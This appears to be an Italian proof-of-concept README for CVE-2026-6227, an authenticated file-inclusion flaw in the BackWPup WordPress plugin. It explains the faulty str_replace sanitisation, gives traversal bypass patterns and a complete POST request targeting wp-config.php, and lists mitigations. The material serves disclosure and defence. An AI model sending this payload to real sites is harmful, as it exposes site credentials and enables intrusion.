
Dimostrazione educativa proof-of-concept per CVE-2026-6227, una Local File Inclusion autenticata nel plugin WordPress BackWPup, inclusa analisi della causa principale, richiesta di exploit e indicazioni di mitigazione.
Le versioni di BackWPup fino alla 5.6.6 inclusa sono affette da una vulnerabilità di Inclusione Locale di File (LFI) autenticata tramite il parametro block_name dell'endpoint REST /wp-json/backwpup/v1/getblock.
Il difetto è stato causato da una sanificazione non ricorsiva tramite str_replace() delle sequenze di traversal ed è già stato corretto nella versione 5.6.7.
Questo repository è strettamente a scopo educativo e di ricerca etica sulla sicurezza. Le informazioni qui fornite hanno lo scopo di aiutare amministratori e team di sicurezza a verificare i propri sistemi. Non utilizzare questo contenuto contro obiettivi senza un'autorizzazione esplicita e scritta.
BackWPupHelpers::component()POST /wp-json/backwpup/v1/getblockblock_nameIl caricatore di componenti vulnerabile applica una sanificazione non ricorsiva tramite str_replace() prima di invocare include(). Questo può essere aggirato utilizzando pattern di traversal appositamente costruiti come ....// o ..././, consentendo una risoluzione del percorso controllata dall'attaccante.
wp-config.php)Per impostazione predefinita, lo sfruttamento richiede accesso a livello di amministratore. Se i permessi di backup vengono delegati, anche utenti con privilegi inferiori potrebbero essere in grado di sfruttare questo problema.
POST legittima a /wp-json/backwpup/v1/getblock.block_name con un payload di traversal.Esempio di richiesta:
POST /wp-json/backwpup/v1/getblock HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-WP-Nonce: <your_nonce_here>
Cookie: wordpress_logged_in_<hash>=<your_session_cookie>
block_name=....//....//....//....//wp-config&block_type=component&block_data%5Btype%5D=success&block_data%5Bfont%5D=small&block_data%5Bdismiss_icon%5D=true&block_data%5Bcontent%5D=You+scheduled+a+new+backup+successfully!
backwpup solo a ruoli fidati/wp-json/backwpup/v1/getblock